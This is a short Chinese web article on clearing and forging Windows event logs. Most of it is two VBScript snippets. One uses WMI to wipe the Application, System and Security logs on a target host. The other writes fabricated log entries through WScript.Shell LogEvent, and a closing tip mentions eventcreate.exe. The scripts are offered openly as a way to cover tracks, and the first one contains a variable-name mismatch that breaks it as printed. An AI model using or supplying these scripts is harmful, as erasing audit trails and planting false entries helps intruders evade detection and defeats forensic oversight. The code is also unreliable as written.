清除并伪造日志的方法 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    删除日志VBS:

    cleanevent.vbs

    strComputer = "主机名字 By foolishqiang"

    Set bjWMIService = GetObject("winmgmts:" _

    & "{impersonationLevel=impersonate,(Backup)}!\\" & _

    strComputer & "\root\cimv2")

    dim mylogs(3)

    mylogs(1)="application"

    mylogs(2)="system"

    mylogs(3)="security"

    for Each logs in mylogs

    Set colLogFiles = objWMIService.ExecQuery _

    ("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")

    For Each objLogfile in colLogFiles

    objLogFile.ClearEventLog()

    Next

    next

    //////////////////////////////////////////////////

    伪造日记,看代码:

    ///////////////////////////////////////////////

    伪造一份日志

    createlog.vbs

    set ws=wscript.createobject("Wscript.shell")

    ws.logevent 0 ,"write log success" '创建一个成功执行日志

    logevent方法

    logevent的用法:logevent eventtype,"description" [,remote system]

    eventtype 为日志类型,可以使用的如下:0 成功执行;1 执行出错;2 警告;4 信息;8 成功审计;16 故障审计

    所以上面代码中,把0改为1,2,4,8,16均可,引号下的为日志描述,

清除并伪造日志的方法

电脑资料

清除并伪造日志的方法》(https://www.unjs.com)。

    附:

    XP下有一个新的工具可以创建日志 eventcreate.exe

    获得帮助格式 eventcreate.exe /?

最新文章